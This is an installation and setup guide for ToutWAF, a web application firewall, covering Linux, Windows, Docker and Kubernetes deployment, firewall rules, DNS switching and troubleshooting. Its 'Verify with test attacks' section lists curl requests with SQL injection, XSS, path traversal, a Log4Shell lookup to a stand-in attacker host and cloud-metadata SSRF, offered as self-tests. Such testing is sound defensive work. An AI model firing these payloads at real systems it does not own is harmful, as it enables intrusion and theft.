Install ToutWAF step by step

Copy-paste procedures for AlmaLinux 10, other Linux distributions, Windows, Docker and Kubernetes. Native binaries: no runtime to install. Then run the wizard, switch DNS and verify.

Which version you install

The public version is a development version, named 0.3.0-dev. Its name stays the same: each publication replaces the previous one, and a build identifier tells two builds apart. No stable version exists yet: it will only be published once every system and package has been tested end to end. The commands on this page therefore install from the dev channel. A development version can contain bugs: try it on a test site before relying on it.

Requirements

A 64-bit server (amd64 or arm64) running Linux or Windows, root or administrator access, and ports 80 and 443 free. The console listens on port 9443, under a secret path. Details of the requirements and dependencies are just below.

Requirements and dependencies

What your server needs, what the installer adds, and what stays optional.

Supported systems

Linux with systemd 239 or newer and glibc 2.28 or newer, on amd64 or arm64: AlmaLinux, Rocky Linux, RHEL and Oracle Linux 8 to 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 to 13, Ubuntu 20.04 to 26.04, openSUSE and Arch (full table below). Windows 10, 11 and Server 2016 to 2025 (not yet run on a real Windows host). The installer checks your system before changing anything. Servers you add from the console: the host agent exists for Linux (amd64, arm64) and Windows (amd64).

Network ports

80 and 443: web traffic (data plane). 9443: console (change it with --cp-port). 9444: API used by data-plane nodes and server agents; the installer does not open it, allow it only from your own servers. 127.0.0.1:9101: local health endpoint. UDP 443 stays closed (HTTP/3 is not implemented). Server agents only make outbound connections to port 9444.

What the installer does

Needs root or administrator rights and outbound HTTPS to download the release. Installs curl, tar and libcap if they are missing (and policycoreutils-python-utils on SELinux systems), creates an unprivileged toutwaf user and one installation home (/var/toutwaf with bin, conf, data and logs; --home DIR changes it, and an older installation keeps its paths), installs hardened systemd services (Windows services on Windows), lets the data plane bind ports 80 and 443 without root, opens the firewall by default when firewalld or ufw is active (80, 443 and the console port; --console-from restricts the console, --no-firewall opts out), labels files for SELinux and checks SHA-256 sums.

Installer language

English by default; the installer detects the system language. Force one with --fr --de --es --it --pt --nl --ru --zh --ar or --en (Windows: -Fr and so on, or the TOUTWAF_LANG variable).

Self-contained binaries

The data plane is written in Rust, the control plane and the agent in Go, and the console is embedded in the control plane. No Python, Node.js or Java runtime and no database server to install: data is stored in SQLite. The Rust data plane needs glibc 2.28 or newer. Main third-party components: tokio, hyper and rustls (Rust), Svelte and xterm.js (console).

Optional components

ClamAV for antivirus scans on Linux hosts (the console can install it for you); Microsoft Defender on Windows. openssl only if you enable release-signature checks, and cosign only if you want it to verify signatures. Docker is not required: the Docker and Kubernetes manifests are alternative ways to deploy.

ToutPanel (web hosting server)

Installed from the console over SSH, or with its own installer. Linux: Debian 11 to 13, Ubuntu 20.04 to 24.04, AlmaLinux, Rocky Linux and RHEL 9 and 10, Fedora 40 and later. Windows 10 and 11, Windows Server 2016 to 2025. Needs root and bash (Linux) or an elevated PowerShell 5.1+ (Windows), Python 3.9 to 3.14 (installed by its script when the distribution provides it), 1 GB of RAM at least (2 GB recommended with MariaDB and PHP), 2 GB of free disk plus your sites, and outbound HTTPS. Its panel listens on port 8888 by default; ports 80 and 443 serve the sites. Source: the ToutPanel README.

ToutWAF does not publish minimum CPU, RAM or disk figures yet: size your server with a test on your own traffic.

Supported systems

Checked by the installer before it changes anything. The statuses come from the installer's own data.

  • tested The full container install test passed on this exact version.
  • expected Same family, recent enough glibc and systemd, but the full test was not run.
  • unsupported Refused before any change (override at your own risk with --skip-os-check).
amd64supportedarm64supportedarm32unsupported
DistributionVersions
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEall versionsexpected
Pop!_OSall versionsexpected
Zorin OSall versionsexpected
elementary OSall versionsexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)all versionsunsupported
Devuanall versionsunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeonall versionsunsupported
openSUSE MicroOS / Aeon / Kalpaall versionsunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxall versionsunsupported
Alpine Linuxall versionsunsupported
Void Linuxall versionsunsupported
NixOSall versionsunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Check without installing: sudo bash install.sh --check-compat (Windows: -CheckCompat). The exit status is 0 if compatible and 3 otherwise. To go on at your own risk on a system that is not supported, use --skip-os-check: it is never silent, and it cannot override the refusal of 32-bit ARM.
Raspberry Pi and other arm64 servers: Raspberry Pi 3, 4, 5 and Zero 2 W need a 64-bit OS (Raspberry Pi OS 64-bit, Ubuntu or Debian arm64). The arm64 build was only run under emulation, never on real hardware, and no benchmark exists. 32-bit ARM is refused.
Windows 10 (1809 and newer), 11 and Server 2016 to 2025 are expected: the Windows installer has not been run on a real Windows host. The Windows ARM64 build was only cross-compiled and has never been run.
Docker: the all-in-one image was tested on Linux amd64 only. Mac Apple Silicon and Intel are untested, and native macOS is not provided.

The setup wizard: from zero to a protected site

On first launch the web wizard takes you from zero to a protected site, in detection mode, without breaking anything.

Domain and origin

Enter the public domain and the address of your server.

Automatic certificate

A certificate from the authority you choose (Let's Encrypt by default) is requested and renewed for you.

Stack detection

ToutWAF recognises WordPress, Laravel, Django and more.

Policy template

A tailored template is proposed. Review it or keep the default.

Detection mode

Traffic is analysed without blocking for a few days, then a report is built.

Switch to blocking

One click to enforce, one click to roll back.

Detection report after 7 days (example)
  • ✓99.8% of traffic would be allowed
  • !3 rules cause 95% of false positives
  • ✓3 exceptions proposed, ready to review

Update the system and install prerequisites

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Install with the one-line installer

The script downloads the native binaries for your architecture, creates a dedicated unprivileged user and installs the hardened systemd services toutwaf-dp (data plane, ports 80 and 443) and toutwaf-cp (control plane and console, port 9443), then prints your first-login information.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefer to read the script first?

Download it, review it, then run it. Recommended for production servers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer options

A new installation lives in a single home, /var/toutwaf (bin, conf, data and logs; change it with --home DIR or TOUTWAF_HOME), and the command-line tools are linked in /usr/local/bin. An installation made earlier keeps its own paths (/etc/toutwaf, /var/lib/toutwaf) and is never moved.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Open the firewall

The installer opens these ports by default when firewalld or ufw is active: 80 and 443, and the console port 9443 (restrict it to your admin network with --console-from). The agent port 9444 is never opened publicly. These commands are only needed with --no-firewall, with another firewall, or to do it by hand.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Keep SELinux enforcing. Label the ToutWAF directories and make sure no AVC denial is logged.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Manage the services

Both services start at boot. Use these commands to start, stop or restart them.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Check the services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgrade

Back up the configuration and the data, then run the installer again: it keeps your settings and rolls back by itself if the new version does not become healthy. The paths shown are those of a new installation (/var/toutwaf); an older installation keeps /etc/toutwaf and /var/lib/toutwaf. You can also update from the console, on the Updates page.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Update the system and install prerequisites

Rocky Linux, RHEL 8 to 10 and other Enterprise Linux clones use the same commands as AlmaLinux. After installing, follow the firewalld and SELinux steps of the AlmaLinux 10 tab.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Install with the one-line installer

The script downloads the native binaries for your architecture, creates a dedicated unprivileged user and installs the hardened systemd services toutwaf-dp (data plane, ports 80 and 443) and toutwaf-cp (control plane and console, port 9443), then prints your first-login information.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefer to read the script first?

Download it, review it, then run it. Recommended for production servers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer options

A new installation lives in a single home, /var/toutwaf (bin, conf, data and logs; change it with --home DIR or TOUTWAF_HOME), and the command-line tools are linked in /usr/local/bin. An installation made earlier keeps its own paths (/etc/toutwaf, /var/lib/toutwaf) and is never moved.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Manage the services

Both services start at boot. Use these commands to start, stop or restart them.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Check the services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgrade

Back up the configuration and the data, then run the installer again: it keeps your settings and rolls back by itself if the new version does not become healthy. The paths shown are those of a new installation (/var/toutwaf); an older installation keeps /etc/toutwaf and /var/lib/toutwaf. You can also update from the console, on the Updates page.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Install prerequisites (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Install with the one-line installer

The script downloads the native binaries for your architecture, creates a dedicated unprivileged user and installs the hardened systemd services toutwaf-dp (data plane, ports 80 and 443) and toutwaf-cp (control plane and console, port 9443), then prints your first-login information.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Prefer to read the script first?

Download it, review it, then run it. Recommended for production servers.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer options

A new installation lives in a single home, /var/toutwaf (bin, conf, data and logs; change it with --home DIR or TOUTWAF_HOME), and the command-line tools are linked in /usr/local/bin. An installation made earlier keeps its own paths (/etc/toutwaf, /var/lib/toutwaf) and is never moved.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Open the firewall (ufw)

The installer opens these ports by default when firewalld or ufw is active: 80 and 443, and the console port 9443 (restrict it to your admin network with --console-from). The agent port 9444 is never opened publicly. These commands are only needed with --no-firewall, with another firewall, or to do it by hand.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Manage the services

Both services start at boot. Use these commands to start, stop or restart them.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Check the services

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Upgrade

Back up the configuration and the data, then run the installer again: it keeps your settings and rolls back by itself if the new version does not become healthy. The paths shown are those of a new installation (/var/toutwaf); an older installation keeps /etc/toutwaf and /var/lib/toutwaf. You can also update from the console, on the Updates page.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Open PowerShell as Administrator and run the installer

Installs the native binaries, registers the ToutWAF Windows service for the data plane and a startup task for the console, and opens the firewall ports. The installer has not been run on a real Windows host yet.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Open the firewall

The installer opens these ports by default when firewalld or ufw is active: 80 and 443, and the console port 9443 (restrict it to your admin network with --console-from). The agent port 9444 is never opened publicly. These commands are only needed with --no-firewall, with another firewall, or to do it by hand.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Check the services

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Upgrade

Back up the configuration and the data, then run the installer again: it keeps your settings and rolls back by itself if the new version does not become healthy. The paths shown are those of a new installation (/var/toutwaf); an older installation keeps /etc/toutwaf and /var/lib/toutwaf. You can also update from the console, on the Updates page.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose on a Mac or Linux

Docker Compose on Linux or a Mac (Docker Desktop, OrbStack, Colima), with the all-in-one image (control plane and data plane). The files come with your ToutWAF distribution (the deploy folder, which is not in the public repository: that one holds binaries and installers only). The image packages prebuilt binaries per architecture (bin/amd64 or bin/arm64) and no image is published to a registry yet. Tested on Linux amd64 only; untested on a real Mac, where the client IP seen behind Docker Desktop is the Docker gateway address. The one-time credentials appear once in the control plane log.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Upgrade (containers)

Take a backup first. The Update button of the console cannot work in a container: replace the binaries in the bin folder (or the image, once one is published) and rebuild; the volumes, so your data, are kept.

bash
docker compose up -d --build

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

bash
docker compose down
purge
docker compose down -v

Install with Helm

Deploys the data plane as an ingress, with a control plane in the cluster if you want one. The chart and the manifests (sidecar mode included) are in the deploy folder of your ToutWAF distribution, not in the public repository, which holds binaries and installers only. The operator is CRDs and a skeleton.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Check the pods and open the console

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Upgrade (containers)

Take a backup first. The Update button of the console cannot work in a container: replace the binaries in the bin folder (or the image, once one is published) and rebuild; the volumes, so your data, are kept.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Uninstall

The first block removes the services, the binaries and the firewall rules added by ToutWAF, and keeps your data. The second one also deletes configuration, data and logs.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

After the installation: configure and verify

First login

Open the secret console link printed at the end of the installation (the console only answers under that path), then use the one-time setup link, or the administrator password generated once in the summary. Turn on two-factor authentication right away and create a second administrator so that you are never locked out.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Add your first site

In Sites, click New site and enter the public domain and the upstream (the real address of your server). Start in detection-only mode, then switch to blocking once the report looks clean. Sites can also be created with the REST API and an API token.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Switch DNS

Lower the TTL of your records a day before. Then point the A / AAAA records of the domain to the ToutWAF server. Once DNS has propagated, the certificate is issued. Restrict your origin firewall so that only the ToutWAF server can reach it.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Verify with test attacks

Each of these requests must return 403 and appear in Attacks (in blocking mode). Only run them against your own sites.

On Windows PowerShell, call curl.exe instead of curl, which is an alias.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Troubleshooting

The console is not reachable on port 9443

Run the ToutWAF Doctor on the server: it checks the services, the ports and the firewall of the machine and says what to do. It also works from the command line when the console itself is unreachable; any cloud security group in front of the server must let port 9443 through as well.

Legitimate requests are blocked (false positives)

Open the event in Attacks, read the explanation, then click the false-positive button to create the narrowest exception, or lower the paranoia level for the site.

502 Bad Gateway

ToutWAF cannot reach your origin. Open the ToutWAF Doctor, line Origin server: it says whether the port refuses the connection, the name does not resolve or the certificate is not trusted, and what to do. Check the firewall of the origin too.

Let's Encrypt issuance fails

The ToutWAF Doctor checks the DNS (including an AAAA record left over at a CDN or proxy) and whether port 80 is reachable before an order. For a wildcard certificate use the DNS-01 challenge.

The real client IP is wrong in my app

Read the X-Forwarded-For header set by ToutWAF, and trust it only from the ToutWAF server address.

Where are the logs?

Use the Logs and Events pages of the console. The services also write to the system journal of the machine, and the Doctor produces a text report you can send to support.

Next: read the full documentation